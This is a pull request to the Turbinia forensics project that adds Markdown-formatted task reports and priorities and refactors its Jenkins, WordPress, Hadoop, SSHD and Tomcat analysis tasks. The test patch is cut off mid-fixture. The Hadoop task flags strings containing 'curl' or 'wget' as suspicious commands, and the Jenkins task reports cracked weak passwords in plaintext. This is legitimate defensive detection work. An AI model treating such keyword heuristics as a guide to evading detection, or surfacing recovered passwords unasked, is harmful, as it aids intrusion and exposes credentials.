Repository: google/turbinia
Pull request #360 (2019-03-06 08:53:43)

Add Markdown output formatting
First iteration of reporting that does a few things:
- Changes the output format of `turbiniactl status` to use Markdown. 
- Adds report_data and report_priority properties to TurbiniaTaskResult to allow Tasks to give more detailed output
- Updates the tasks to add report data in this format
- Task data is grouped into 'High priority', 'Successful', 'Failed', and 'Scheduled or Running' and task output is ordered by priority.

There are a few knobs for controlling the output:
- `--full_report` will print out the detailed task output for high priority tasks
- `-a` will still show the full output paths saved
- `--priority_filter` will set  the priority level at which full details are shown when specifying `--full_report`

The default output is pretty simple and easily readable on the command line, but adding more options starts to add more to the report, so for more verbose output the report will be better rendered elsewhere.  

Future improvements:
- Use templating
- Render output in terminal with something like https://github.com/axiros/terminal_markdown_viewer

I'll send you some examples of rendered reports out of band.

berggren: Sorry for the delay. LGTM.
aarontp: Going to merge this and then handle adding priority constants in a separate PR.

Patch:
diff --git a/docs/developing-new-tasks.md b/docs/developing-new-tasks.md
index 7262624..7266c20 100644
--- a/docs/developing-new-tasks.md
+++ b/docs/developing-new-tasks.md
@@ -124,6 +124,20 @@ it's possible that there could be more or less depending on how much you want to
 split it up. Then you just need to add a reference to the new job in
 `turbinia/jobs/__init__.py`.
 
+## Reporting
+
+Tasks can return report data in Markdown format by adding it as a string to
+`result.report_data`.  If high priority findings are found, you can change
+`result.report_priority`.  Priorites are 0 - 100, and the highest priority is 0.
+This will affect the ordering in the report, and if the priority is a value less
+than what is set with `--priority_filter` (i.e. a higher priority), then the
+full report data will be printed out when `--full_report` is specified.
+
+Tasks can use the helper methods in turbinia.lib.text_formatter to help format
+the text with formatting like bold and code.  Note that when setting headings in
+a task report, do not use heading1 through heading3 because these are used in
+other sections of the report, but you can use heading4 and above.
+
 ## Notes
 
 *   The reason we separate out the strings processing into two separate Tasks is
diff --git a/turbinia/client.py b/turbinia/client.py
index c27cb81..60221b3 100644
--- a/turbinia/client.py
+++ b/turbinia/client.py
@@ -16,10 +16,12 @@
 
 from __future__ import unicode_literals
 
+from collections import defaultdict
 from datetime import datetime
 from datetime import timedelta
 import json
 import logging
+from operator import itemgetter
 import os
 import stat
 import time
@@ -27,8 +29,8 @@ import time
 from turbinia import config
 from turbinia.config import logger
 from turbinia import task_manager
-from turbinia import workers
 from turbinia import TurbiniaException
+from turbinia.lib import text_formatter as fmt
 from turbinia.workers.artifact import FileArtifactExtractionTask
 from turbinia.workers.analysis.wordpress import WordpressAccessLogAnalysisTask
 from turbinia.workers.analysis.jenkins import JenkinsAnalysisTask
@@ -235,9 +237,61 @@ class TurbiniaClient(object):
 
     return results[0]
 
+  def format_task_detail(self, task, show_files=False):
+    """Formats a single task in detail.
+
+    Args:
+      task (dict): The task to format data for
+      show_files (bool): Whether we want to print out log file paths
+
+    Returns:
+      list: Formatted task data
+    """
+    report = []
+    saved_paths = task.get('saved_paths') or []
+    status = task.get('status') or 'No task status'
+
+    report.append(fmt.heading2(task.get('name')))
+    line = '{0:s} {1:s}'.format(fmt.bold('Status:'), status)
+    report.append(fmt.bullet(line))
+    report.append(fmt.bullet('Task Id: {0:s}'.format(task.get('id'))))
+    report.append(
+        fmt.bullet('Executed on worker {0:s}'.format(task.get('worker_name'))))
+    if task.get('report_data'):
+      report.append('')
+      report.append(fmt.heading3('Task Reported Data'))
+      report.extend(task.get('report_data').splitlines())
+    if show_files:
+      report.append('')
+      report.append(fmt.heading3('Saved Task Files:'))
+      for path in saved_paths:
+        report.append(fmt.bullet(fmt.code(path)))
+      report.append('')
+    return report
+
+  def format_task(self, task, show_files=False):
+    """Formats a single task in short form.
+
+    Args:
+      task (dict): The task to format data for
+      show_files (bool): Whether we want to print out log file paths
+
+    Returns:
+      list: Formatted task data
+    """
+    report = []
+    saved_paths = task.get('saved_paths') or []
+    status = task.get('status') or 'No task status'
+    report.append(fmt.bullet('{0:s}: {1:s}'.format(task.get('name'), status)))
+    if show_files:
+      for path in saved_paths:
+        report.append(fmt.bullet(fmt.code(path), level=2))
+      report.append('')
+    return report
+
   def format_task_status(
       self, instance, project, region, days=0, task_id=None, request_id=None,
-      user=None, all_fields=False):
+      user=None, all_fields=False, full_report=False, priority_filter=20):
     """Formats the recent history for Turbinia Tasks.
 
     Args:
@@ -251,47 +305,61 @@ class TurbiniaClient(object):
       user (string): The user of the request we want tasks for.
       all_fields (bool): Include all fields for the task, including task,
           request ids and saved file paths.
+      full_report (bool): Generate a full markdown report instead of just a
+          summary.
+      priority_filter (int): Output only a summary for Tasks with a value
+          greater than the priority_filter.
 
     Returns:
       String of task status
     """
     task_results = self.get_task_data(
         instance, project, region, days, task_id, request_id, user)
+    # Sort all tasks by the report_priority so that tasks with a higher
+    # priority are listed first in the report.
+    task_results = sorted(task_results, key=itemgetter('report_priority'))
     num_results = len(task_results)
-    results = []
     if not num_results:
-      msg = '\nNo Tasks found.'
+      msg = 'No Turbinia Tasks found.'
       log.info(msg)
-      return msg
-
-    results.append('\nRetrieved {0:d} Task results:'.format(num_results))
+      return '\n{0:s}'.format(msg)
+
+    # Build up data
+    report = []
+    user = task_results[0].get('user')
+    request_id = task_results[0].get('request_id')
+    success_types = ['Successful', 'Failed', 'Scheduled or Running']
+    success_values = [True, False, None]
+    # Reverse mapping values to types
+    success_map = dict(zip(success_values, success_types))
+    task_map = defaultdict(list)
+    success_types.insert(0, 'High Priority')
     for task in task_results:
-      if task.get('successful'):
-        success = 'Successful'
-      elif task.get('successful') is None:
-        success = 'Running'
-      else:
-        success = 'Failed'
-
-      status = task.get('status') or 'No task status'
-      if all_fields:
-        results.append(
-            '{0:s} request: {1:s} task: {2:s} {3:s} {4:s} {5:s} {6:s}: {7:s}'
-            .format(
-                task.get('last_update'), task.get('request_id'), task.get('id'),
-                task.get('name'), task.get('user'), task.get('worker_name'),
-                success, status))
-        saved_paths = task.get('saved_paths', [])
-        if saved_paths is None:
-          saved_paths = []
-        for path in saved_paths:
-          results.append('\t{0:s}'.format(path))
+      if task.get('report_priority') <= priority_filter:
+        task_map['High Priority'].append(task)
       else:
-        results.append(
-            '{0:s} {1:s} {2:s}: {3:s}'.format(
-                task.get('last_update'), task.get('name'), success, status))
+        task_map[success_map[task.get('successful')]].append(task)
+
+    # Generate report header
+    report.append('\n')
+    report.append(fmt.heading1('Turbinia report {0:s}'.format(request_id)))
+    report.append(
+        fmt.bullet(
+            'Processed {0:d} Tasks for user {1:s}'.format(num_results, user)))
+
+    # Print report data for tasks
+    for success_type in success_types:
+      report.append('')
+      report.append(fmt.heading1('{0:s} Tasks'.format(success_type)))
+      if not task_map[success_type]:
+        report.append(fmt.bullet('None'))
+      for task in task_map[success_type]:
+        if full_report and success_type == success_types[0]:
+          report.extend(self.format_task_detail(task, show_files=all_fields))
+        else:
+          report.extend(self.format_task(task, show_files=all_fields))
 
-    return '\n'.join(results)
+    return '\n'.join(report)
 
   def run_local_task(self, task_name, request):
     """Runs a Turbinia Task locally.
diff --git a/turbinia/lib/text_formatter.py b/turbinia/lib/text_formatter.py
new file mode 100644
index 0000000..12fb711
--- /dev/null
+++ b/turbinia/lib/text_formatter.py
@@ -0,0 +1,115 @@
+#!/usr/bin/env python
+#
+# Copyright 2017 Google Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+"""Methods for formatting text."""
+
+from __future__ import print_function
+from __future__ import unicode_literals
+
+
+def bold(text):
+  """Formats text as bold in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '**{0:s}**'.format(text.strip())
+
+
+def heading1(text):
+  """Formats text as heading 1 in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '# {0:s}'.format(text.strip())
+
+
+def heading2(text):
+  """Formats text as heading 2 in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '## {0:s}'.format(text.strip())
+
+
+def heading3(text):
+  """Formats text as heading 3 in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '### {0:s}'.format(text.strip())
+
+
+def heading4(text):
+  """Formats text as heading 4 in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '#### {0:s}'.format(text.strip())
+
+
+def heading5(text):
+  """Formats text as heading 5 in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '##### {0:s}'.format(text.strip())
+
+
+def bullet(text, level=1):
+  """Formats text as a bullet in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '{0:s}* {1:s}'.format('    ' * (level - 1), text.strip())
+
+
+def code(text):
+  """Formats text as code in Markdown format.
+
+  Args:
+    text(string): Text to format
+
+  Return:
+    string: Formatted text.
+  """
+  return '`{0:s}`'.format(text.strip())
diff --git a/turbinia/turbiniactl.py b/turbinia/turbiniactl.py
index 714bdc1..68a414f 100644
--- a/turbinia/turbiniactl.py
+++ b/turbinia/turbiniactl.py
@@ -254,6 +254,17 @@ def main():
   parser_status.add_argument(
       '-r', '--request_id', help='Show tasks with this Request ID',
       required=False)
+  parser_status.add_argument(
+      '-p', '--priority_filter', default=20, type=int, required=False,
+      help='This sets what report sections are shown in full detail in '
+      'report output.  Any tasks that have set a report_priority value '
+      'equal to or lower than this setting will be shown in full detail, and '
+      'tasks with a higher value will only have a summary shown.  To see all '
+      'tasks report output in full detail, set --priority_filter=100')
+  parser_status.add_argument(
+      '-R', '--full_report',
+      help='Generate full markdown report instead of just a summary',
+      action='store_true', required=False)
   parser_status.add_argument(
       '-t', '--task_id', help='Show task for given Task ID', required=False)
   parser_status.add_argument(
@@ -401,7 +412,8 @@ def main():
             instance=config.INSTANCE_ID, project=config.TURBINIA_PROJECT,
             region=region, days=args.days_history, task_id=args.task_id,
             request_id=args.request_id, user=args.user,
-            all_fields=args.all_fields))
+            all_fields=args.all_fields, full_report=args.full_report,
+            priority_filter=args.priority_filter))
   elif args.command == 'listjobs':
     log.info('Available Jobs:')
     client.list_jobs()
diff --git a/turbinia/workers/__init__.py b/turbinia/workers/__init__.py
index 8a5dff5..fbfe6ff 100644
--- a/turbinia/workers/__init__.py
+++ b/turbinia/workers/__init__.py
@@ -51,6 +51,9 @@ class TurbiniaTaskResult(object):
       evidence: List of newly created Evidence objects.
       id: Unique Id of result (string of hex)
       input_evidence: The evidence this task processed.
+      report_data (string): Markdown data that can be used in a Turbinia report.
+      report_priority (int): Value between 0-100 (0 is the highest priority) to
+          be used to order report sections.
       request_id: The id of the initial request to process this evidence.
       run_time: Length of time the task ran for.
       saved_paths: Paths where output has been saved.
@@ -65,7 +68,10 @@ class TurbiniaTaskResult(object):
   """
 
   # The list of attributes that we will persist into storage
-  STORED_ATTRIBUTES = ['worker_name', 'status', 'saved_paths', 'successful']
+  STORED_ATTRIBUTES = [
+      'worker_name', 'report_data', 'report_priority', 'status', 'saved_paths',
+      'successful'
+  ]
 
   def __init__(
       self, evidence=None, input_evidence=None, base_output_dir=None,
@@ -84,6 +90,8 @@ class TurbiniaTaskResult(object):
     self.user = None
     self.output_dir = None
 
+    self.report_data = None
+    self.report_priority = 50
     self.start_time = datetime.now()
     self.run_time = None
     self.saved_paths = []
@@ -270,7 +278,7 @@ class TurbiniaTask(object):
 
   Attributes:
       base_output_dir: The base directory that output will go into.  Per-task
-                       directories will be created under this.
+          directories will be created under this.
       id: Unique Id of task (string of hex)
       last_update: A datetime object with the last time the task was updated.
       name: Name of task
@@ -281,9 +289,9 @@ class TurbiniaTask(object):
       run_local: Whether we are running locally without a Worker or not.
       state_key: A key used to manage task state
       stub: The task manager implementation specific task stub that exists
-            server side to keep a reference to the remote task objects.  For PSQ
-            this is a task result object, but other implementations have their
-            own stub objects.
+          server side to keep a reference to the remote task objects.  For PSQ
+          this is a task result object, but other implementations have their
+          own stub objects.
       tmp_dir: Temporary directory for Task to write to.
       user: The user who requested the task.
       _evidence_config (dict): The config that we want to pass to all new
diff --git a/turbinia/workers/analysis/jenkins.py b/turbinia/workers/analysis/jenkins.py
index b4759a8..a7bb3f2 100644
--- a/turbinia/workers/analysis/jenkins.py
+++ b/turbinia/workers/analysis/jenkins.py
@@ -21,6 +21,7 @@ import re
 
 from turbinia import TurbiniaException
 from turbinia.evidence import ReportText
+from turbinia.lib import text_formatter as fmt
 from turbinia.workers import TurbiniaTask
 from turbinia.lib.utils import extract_artifacts
 from turbinia.lib.utils import bruteforce_password_hashes
@@ -71,8 +72,10 @@ class JenkinsAnalysisTask(TurbiniaTask):
 
       credentials.extend(extracted_credentials)
 
-    analysis_report = self.analyze_jenkins(version, credentials)
-    output_evidence.text_data = analysis_report
+    (report, priority, summary) = self.analyze_jenkins(version, credentials)
+    output_evidence.text_data = report
+    result.report_data = report
+    result.report_priority = priority
 
     # Write the report to the output file.
     with open(output_file_path, 'w') as fh:
@@ -81,11 +84,7 @@ class JenkinsAnalysisTask(TurbiniaTask):
 
     # Add the resulting evidence to the result object.
     result.add_evidence(output_evidence, evidence.config)
-    if analysis_report:
-      status = analysis_report[0].strip()
-    else:
-      status = 'Jenkins analysis found no potential issues'
-    result.close(self, success=True, status=status)
+    result.close(self, success=True, status=summary)
 
     return result
 
@@ -141,9 +140,15 @@ class JenkinsAnalysisTask(TurbiniaTask):
       credentials (list): of tuples with username and password hash.
 
     Returns:
-      str: of description of security of Jenkins configuration file.
+      Tuple(
+        report_text(str): The report data
+        report_priority(int): The priority of the report (0 - 100)
+        summary(str): A summary of the report (used for task status)
+      )
     """
-    findings = []
+    report = []
+    summary = ''
+    priority = 50
     credentials_registry = {hash: username for username, hash in credentials}
     # TODO: Add timeout parameter when dynamic configuration is ready.
     # Ref: https://github.com/google/turbinia/issues/244
@@ -151,15 +156,22 @@ class JenkinsAnalysisTask(TurbiniaTask):
 
     if not version:
       version = 'Unknown'
-    findings.append('Jenkins version: {0:s}'.format(version))
+    report.append(fmt.bullet('Jenkins version: {0:s}'.format(version)))
 
     if weak_passwords:
-      findings.insert(0, 'Jenkins analysis found potential issues.\n')
-      findings.append(
-          '{0:n} weak password(s) found:'.format(len(weak_passwords)))
+      priority = 10
+      summary = 'Jenkins analysis found potential issues'
+      report.insert(0, fmt.heading4(fmt.bold(summary)))
+      line = '{0:n} weak password(s) found:'.format(len(weak_passwords))
+      report.append(fmt.bullet(fmt.bold(line)))
       for password_hash, plaintext in weak_passwords:
-        findings.append(
-            ' - User "{0:s}" with password "{1:s}"'.format(
-                credentials_registry.get(password_hash), plaintext))
+        line = 'User "{0:s}" with password "{1:s}"'.format(
+            credentials_registry.get(password_hash), plaintext)
+        report.append(fmt.bullet(line, level=2))
+    else:
+      summary = 'Jenkins analysis found no issues'
+      priority = 80
+      report.insert(0, fmt.heading4(summary))
 
-    return '\n'.join(findings)
+    report = '\n'.join(report)
+    return (report, priority, summary)
diff --git a/turbinia/workers/analysis/wordpress.py b/turbinia/workers/analysis/wordpress.py
index 73e29a7..74c723e 100644
--- a/turbinia/workers/analysis/wordpress.py
+++ b/turbinia/workers/analysis/wordpress.py
@@ -21,6 +21,7 @@ import os
 import re
 
 from turbinia.evidence import ReportText
+from turbinia.lib import text_formatter as fmt
 from turbinia.workers import TurbiniaTask
 
 
@@ -63,8 +64,11 @@ class WordpressAccessLogAnalysisTask(TurbiniaTask):
     with open_function(evidence.local_path, 'rb') as input_file:
       access_logs_content = input_file.read().decode('utf-8')
 
-    analysis = self.analyze_wp_access_logs(access_logs_content)
-    output_evidence.text_data = analysis
+    (report, priority,
+     summary) = self.analyze_wp_access_logs(access_logs_content)
+    output_evidence.text_data = report
+    result.report_data = report
+    result.report_priority = priority
 
     # Write the report to the output file.
     with open(output_file_path, 'w') as fh:
@@ -72,8 +76,7 @@ class WordpressAccessLogAnalysisTask(TurbiniaTask):
 
     # Add the resulting evidence to the result object.
     result.add_evidence(output_evidence, evidence.config)
-    status = analysis.split('\n')[0]
-    result.close(self, success=True, status=status)
+    result.close(self, success=True, status=summary)
     return result
 
   def _get_timestamp(self, log_line):
@@ -90,30 +93,37 @@ class WordpressAccessLogAnalysisTask(TurbiniaTask):
       config (str): access log file content.
 
     Returns:
-      str: Activity summary of the wordpress installation.
+      Tuple(
+        report_text(str): The report data
+        report_priority(int): The priority of the report (0 - 100)
+        summary(str): A summary of the report (used for task status)
+      )
     """
-    findings = []
+    report = []
     findings_summary = set()
 
     for log_line in config.split('\n'):
 
       if self.install_step_regex.search(log_line):
-        findings.append(
-            '\t{0:s}: Wordpress installation successful'.format(
-                self._get_timestamp(log_line)))
+        line = '{0:s}: Wordpress installation successful'.format(
+            self._get_timestamp(log_line))
+        report.append(fmt.bullet(line))
         findings_summary.add('install')
 
       match = self.theme_editor_regex.search(log_line)
       if match:
-        findings.append(
-            '\t{0:s}: Wordpress theme editor edited file ({1:s})\n'.format(
-                self._get_timestamp(log_line), match.group('edited_file')))
+        line = '{0:s}: Wordpress theme editor edited file ({1:s})'.format(
+            self._get_timestamp(log_line), match.group('edited_file'))
+        report.append(fmt.bullet(line))
         findings_summary.add('theme_edit')
 
-    if findings:
-      findings.insert(
-          0, 'Wordpress access logs found ({0:s})'.format(
-              ', '.join(sorted(list(findings_summary)))))
-      return '\n'.join(findings)
+    if report:
+      findings_summary = ', '.join(sorted(list(findings_summary)))
+      summary = 'Wordpress access logs found ({0:s})'.format(findings_summary)
 
-    return 'No Wordpress install or theme editing found in access logs'
+      report.insert(0, fmt.heading4(fmt.bold(summary)))
+      report_text = '\n'.join(report)
+      return (report_text, 20, summary)
+
+    report_text = 'No Wordpress install or theme editing found in access logs'
+    return (fmt.heading4(report_text), 80, report_text)
diff --git a/turbinia/workers/hadoop.py b/turbinia/workers/hadoop.py
index b77f57f..95cecf8 100644
--- a/turbinia/workers/hadoop.py
+++ b/turbinia/workers/hadoop.py
@@ -23,6 +23,7 @@ import subprocess
 
 from turbinia import TurbiniaException
 
+from turbinia.lib import text_formatter as fmt
 from turbinia.evidence import ReportText
 from turbinia.lib.utils import extract_artifacts
 from turbinia.workers import TurbiniaTask
@@ -33,7 +34,7 @@ log = logging.getLogger('turbinia')
 class HadoopAnalysisTask(TurbiniaTask):
   """Task to analyse Hadoop AppRoot files."""
 
-  def _AnalyzeHadoopAppRoot(self, collected_artifacts):
+  def _AnalyzeHadoopAppRoot(self, collected_artifacts, output_dir):
     """Runs a naive AppRoot files parsing method.
 
     This extracts strings from the saved task file, and searches for usual
@@ -44,38 +45,54 @@ class HadoopAnalysisTask(TurbiniaTask):
 
     Args:
       collected_artifacts(list(str)): a list of paths to extracted files
+      output_dir(str): The base directory the artfacts are in.
+
     Returns:
-      list(str): the result report, as a list of lines.
+      Tuple(
+        list(str): The report data as a list of lines
+        report_priority(int): The priority of the report (0 - 100)
+        summary(str): A summary of the report (used for task status)
+      )
     """
     report = []
-    strings_report = []
     evil_commands = []
+    strings_count = 0
+    priority = 50
+    summary = ''
     for filepath in collected_artifacts:
-      strings_report.append('Strings for {0:s}:'.format(filepath))
+      relpath = os.path.relpath(filepath, output_dir)
       command = 'strings -a "{0:s}"'.format(filepath)
       log.debug('Running command [{0:s}]'.format(command))
       proc = subprocess.Popen(
           command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
       strings_output, _ = proc.communicate()
       strings_output = codecs.decode(strings_output, 'utf-8')
-      strings_report.append(strings_output)
       for line in strings_output.splitlines():
+        strings_count += 1
         if (line.find('curl') >= 0) or (line.find('wget') >= 0):
-          evil_commands.append((filepath, line))
+          evil_commands.append((relpath, line))
 
     if evil_commands:
-      report.append('Found suspicious commands!')
+      msg = 'Found suspicious commands!'
+      report.append(fmt.heading4(fmt.bold(msg)))
+      summary = msg
+      priority = 10
     else:
-      report.append('Did not find any suspicious commands.')
+      msg = 'Did not find any suspicious commands.'
+      report.append(fmt.heading4(msg))
+      summary = msg
+
     for filepath, command in evil_commands:
-      report.append('File: {0:s}'.format(filepath))
-      report.append('Command: "{0:s}"'.format(command))
+      report.append(fmt.bullet(fmt.bold('Command:')))
+      report.append(fmt.code(command))
+      report.append('Found in file:')
+      report.append(fmt.code(filepath))
 
-    report.append('')
-    report.append('All strings from Yarn Tasks:')
-    report.extend(strings_report)
+    msg = 'Extracted {0:d} strings from {1:d} file(s)'.format(
+        strings_count, len(collected_artifacts))
+    report.append(fmt.bullet(msg))
 
-    return report
+    return (report, priority, summary)
 
   def run(self, evidence, result):
     """Run Hadoop specific analysis on the evidences.
@@ -100,23 +117,28 @@ class HadoopAnalysisTask(TurbiniaTask):
     try:
       # We don't use FileArtifactExtractionTask as it export one evidence per
       # file extracted
+      output_dir = os.path.join(self.output_dir, 'artifacts')
       collected_artifacts = extract_artifacts(
           artifact_names=['HadoopAppRoot'], disk_path=evidence.local_path,
-          output_dir=os.path.join(self.output_dir, 'artifacts'))
+          output_dir=output_dir)
 
-      text_report_lines = self._AnalyzeHadoopAppRoot(collected_artifacts)
-      if not text_report_lines:
+      (report, priority, summary) = self._AnalyzeHadoopAppRoot(
+          collected_artifacts, output_dir)
+      if not report:
         raise TurbiniaException(
             'Report generated by _AnalyzeHadoopAppRoot() is empty')
 
-      output_evidence.text_data = '\n'.join(text_report_lines)
+      output_evidence.text_data = '\n'.join(report)
+      result.report_data = output_evidence.text_data
+
       # Write the report to the output file.
       with open(output_file_path, 'w') as fh:
         fh.write(output_evidence.text_data.encode('utf8'))
         fh.write('\n'.encode('utf8'))
 
       result.add_evidence(output_evidence, evidence.config)
-      result.close(self, success=True, status=text_report_lines[0])
+      result.report_priority = priority
+      result.close(self, success=True, status=summary)
     except TurbiniaException as e:
       result.close(self, success=False, status=str(e))
       return result
diff --git a/turbinia/workers/sshd.py b/turbinia/workers/sshd.py
index 53ed491..3317adc 100644
--- a/turbinia/workers/sshd.py
+++ b/turbinia/workers/sshd.py
@@ -20,6 +20,7 @@ import os
 import re
 
 from turbinia.evidence import ReportText
+from turbinia.lib import text_formatter as fmt
 from turbinia.workers import TurbiniaTask
 
 
@@ -49,8 +50,10 @@ class SSHDAnalysisTask(TurbiniaTask):
     with open(evidence.local_path, 'r') as input_file:
       sshd_config = input_file.read()
 
-    analysis = self.analyse_sshd_config(sshd_config)
-    output_evidence.text_data = analysis
+    (report, priority, summary) = self.analyse_sshd_config(sshd_config)
+    output_evidence.text_data = report
+    result.report_priority = priority
+    result.report_data = report
 
     # Write the report to the output file.
     with open(output_file_path, 'w') as fh:
@@ -58,7 +61,7 @@ class SSHDAnalysisTask(TurbiniaTask):
 
     # Add the resulting evidence to the result object.
     result.add_evidence(output_evidence, evidence.config)
-    result.close(self, success=True)
+    result.close(self, success=True, status=summary)
     return result
 
   def analyse_sshd_config(self, config):
@@ -68,7 +71,11 @@ class SSHDAnalysisTask(TurbiniaTask):
       config (str): configuration file content.
 
     Returns:
-      str: description of security of SSHD configuration file.
+      Tuple(
+        report_text(str): The report data
+        report_priority(int): The priority of the report (0 - 100)
+        summary(str): A summary of the report (used for task status)
+      )
     """
     findings = []
     permit_root_login_re = re.compile(
@@ -80,16 +87,19 @@ class SSHDAnalysisTask(TurbiniaTask):
         r'^\s*PermitEmptyPasswords[\s"]*Yes', re.IGNORECASE | re.MULTILINE)
 
     if re.search(permit_root_login_re, config):
-      findings.append('\tRoot login enabled.')
+      findings.append(fmt.bullet('Root login enabled.'))
 
     if not re.search(password_authentication_re, config):
-      findings.append('\tPassword authentication enabled.')
+      findings.append(fmt.bullet('Password authentication enabled.'))
 
     if re.search(permit_empty_passwords_re, config):
-      findings.append('\tEmpty passwords permitted.')
+      findings.append(fmt.bullet('Empty passwords permitted.'))
 
     if findings:
-      findings.insert(0, 'Insecure SSH configuration found.')
-      return '\n'.join(findings)
+      summary = 'Insecure SSH configuration found.'
+      findings.insert(0, fmt.heading4(fmt.bold(summary)))
+      report = '\n'.join(findings)
+      return (report, 20, summary)
 
-    return 'No issues found in SSH configuration'
+    report = 'No issues found in SSH configuration'
+    return (report, 60, report)
diff --git a/turbinia/workers/tomcat.py b/turbinia/workers/tomcat.py
index c8d3207..2daeb9e 100644
--- a/turbinia/workers/tomcat.py
+++ b/turbinia/workers/tomcat.py
@@ -20,6 +20,7 @@ import os
 import re
 
 from turbinia.evidence import ReportText
+from turbinia.lib import text_formatter as fmt
 from turbinia.workers import TurbiniaTask
 
 
@@ -47,8 +48,10 @@ class TomcatAnalysisTask(TurbiniaTask):
     with open(evidence.local_path, 'r') as input_file:
       tomcat_file = input_file.read()
 
-    analysis = self.analyse_tomcat_file(tomcat_file)
-    output_evidence.text_data = analysis
+    (report, priority, summary) = self.analyse_tomcat_file(tomcat_file)
+    result.report_priority = priority
+    result.report_data = report
+    output_evidence.text_data = report
 
     # Write the report to the output file.
     with open(output_file_path, 'w') as fh:
@@ -56,8 +59,7 @@ class TomcatAnalysisTask(TurbiniaTask):
 
     # Add the resulting evidence to the result object.
     result.add_evidence(output_evidence, evidence.config)
-    result.close(
-        self, success=True, status=output_evidence.text_data.splitlines()[0])
+    result.close(self, success=True, status=summary)
     return result
 
   def analyse_tomcat_file(self, tomcat_file):
@@ -70,7 +72,11 @@ class TomcatAnalysisTask(TurbiniaTask):
     Args:
       tomcat_file (str): Tomcat file content.
     Returns:
-      str: description of findings of Tomcat file.
+      Tuple(
+        report_text(str): The report data
+        report_priority(int): The priority of the report (0 - 100)
+        summary(str): A summary of the report (used for task status)
+      )
     """
     findings = []
 
@@ -82,19 +88,23 @@ class TomcatAnalysisTask(TurbiniaTask):
 
     count = 0
     for password_entry in re.findall(tomcat_user_passwords_re, tomcat_file):
-      findings.append('Tomcat user: ' + password_entry.strip())
+      findings.append(fmt.bullet('Tomcat user: ' + password_entry.strip()))
       count += 1
 
     for deployment_entry in re.findall(tomcat_deploy_re, tomcat_file):
-      findings.append('Tomcat App Deployed: ' + deployment_entry.strip())
+      findings.append(
+          fmt.bullet('Tomcat App Deployed: ' + deployment_entry.strip()))
       count += 1
 
     for mgmt_entry in re.findall(tomcat_manager_activity_re, tomcat_file):
-      findings.append('Tomcat Management: ' + mgmt_entry.strip())
+      findings.append(fmt.bullet('Tomcat Management: ' + mgmt_entry.strip()))
       count += 1
 
     if findings:
-      findings.insert(0, 'Tomcat found ({0:d} hits):'.format(count))
-      return '\n'.join(findings)
+      msg = 'Tomcat analysis found {0:d} results'.format(count)
+      findings.insert(0, fmt.heading4(fmt.bold(msg)))
+      report = '\n'.join(findings)
+      return (report, 20, msg)
 
-    return 'No Tomcat found.'
+    report = 'No Tomcat findings to report'
+    return (report, 80, report)


Test patch:
diff --git a/turbinia/client_test.py b/turbinia/client_test.py
index 0f508a8..d57cb34 100644
--- a/turbinia/client_test.py
+++ b/turbinia/client_test.py
@@ -16,10 +16,12 @@
 
 from __future__ import unicode_literals
 
+from datetime import datetime
 import unittest
 import os
 import shutil
 import tempfile
+import textwrap
 
 import mock
 
@@ -29,10 +31,134 @@ from turbinia.client import TurbiniaServer
 from turbinia.client import TurbiniaPsqWorker
 from turbinia import TurbiniaException
 
+SHORT_REPORT = textwrap.dedent(
+    """\
+    # Turbinia report 0xFakeRequestId
+    * Processed 3 Tasks for user myuser
+
+    # High Priority Tasks
+    * TaskName2: This second fake task executed
+
+    # Successful Tasks
+    * TaskName: This fake task executed
+
+    # Failed Tasks
+    * TaskName3: Third Task Failed...
+
+    # Scheduled or Running Tasks
+    * None
+""")
+
+LONG_REPORT = textwrap.dedent(
+    """\
+    # Turbinia report 0xFakeRequestId
+    * Processed 3 Tasks for user myuser
+
+    # High Priority Tasks
+    ## TaskName2
+    * **Status:** This second fake task executed
+    * Task Id: 0xfakeTaskId2
+    * Executed on worker fake_worker
+
+    ### Task Reported Data
+    #### Fake High priority Report
+    * Fake Bullet
+
+    # Successful Tasks
+    * TaskName: This fake task executed
+
+    # Failed Tasks
+    * TaskName3: Third Task Failed...
+
+    # Scheduled or Running Tasks
+    * None
+""")
+
+LONG_REPORT_FILES = textwrap.dedent(
+    """\
+    # Turbinia report 0xFakeRequestId
+    * Processed 3 Tasks for user myuser
+
+    # High Priority Tasks
+    ## TaskName2
+    * **Status:** This second fake task executed
+    * Task Id: 0xfakeTaskId2
+    * Executed on worker fake_worker
+
+    ### Task Reported Data
+    #### Fake High priority Report
+    * Fake Bullet
+
+    ### Saved Task Files:
+    * `/no/path/2`
+    * `/fake/path/2`
+
+
+    # Successful Tasks
+    * TaskName: This fake task executed
+        * `/no/path/`
+        * `/fake/path`
+
+
+    # Failed Tasks
+    * TaskName3: Third Task Failed...
+        * `/no/path/3`
+        * `/fake/path/3`
+
+
+    # Scheduled or Running Tasks
+    * None
+""")
+
 
 class TestTurbiniaClient(unittest.TestCase):
   """Test Turbinia client class."""
 
+  def setUp(self):
+    self.task_data = [
+        {
+            'id': '0xfakeTaskId',
+            'instance': 'MyTurbiniaInstance',
+            'last_update': datetime.now(),
+            'name': 'TaskName',
+            'report_data': '#### Fake Low priority Report\n* Fake Bullet',
+            'report_priority': 80,
+            'request_id': '0xFakeRequestId',
+            'saved_paths': ['/no/path/', '/fake/path'],
+            'status': 'This fake task executed',
+            'successful': True,
+            'user': 'myuser',
+            'worker_name': 'fake_worker'
+        }, {
+            'id': '0xfakeTaskId2',
+            'instance': 'MyTurbiniaInstance',
+            'last_update': datetime.now(),
+            'name': 'TaskName2',
+            'report_data': '#### Fake High priority Report\n* Fake Bullet',
